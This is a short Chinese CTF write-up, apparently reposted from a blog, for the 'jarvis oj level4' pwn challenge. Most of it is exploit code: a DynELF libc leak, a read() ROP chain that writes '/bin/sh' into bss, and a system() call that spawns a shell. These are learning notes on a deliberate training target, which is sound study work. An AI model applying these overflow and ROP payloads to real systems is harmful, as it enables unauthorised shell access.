jarvis oj level4

与level3相比没有提供libc.so文件。
第一步学习使用Dynelf获取服务器函数地址:

 def leak(address):
 payload1='a'*0x88+'bbbb'+p32(write_addr)+p32(vul_addr)+p32(1)+p32(address)+p32(4)
    	r.send(payload1)
    	data=r.recv(4)
    	return data
 d=DynELF(leak,elf=e)#注意格式
 sys_addr=d.lookup('system','libc')  #查询某函数地址

第二步,由于目前不知道怎么用dynelf找字符串"bin/sh",因此网上查看wp,可以把字符串传进bss段,不能放栈上是因为函数结束时会销毁栈。
利用构造read(0,addr,len),然后send(字符串),就会将字符串保存至addr处的len长度。

read_addr=e.symbols['read']
payload2='a'*0x88+'bbbb'+p32(read_addr)+p32(vul_addr)+p32(0x0)+p32(bss_addr)+p32(0x8)
r.send(payload2)
r.sendline('/bin/sh')

这里一开始想不明白e.symbols不是应该是本地的地址吗,后来知道了e.symbols是plt表项的地址,和服务器是一样的,同理got表。

第三步调用system("/bin/sh")

payload3='a'*0x88+'bbbb'+p32(sys_addr)+'junk'+p32(bss_addr)
r.send(payload3)
r.interactive()

现在对plt和got的概念还是有点模糊。

猜你喜欢

转载自blog.csdn.net/weixin_41617275/article/details/84799355
今日推荐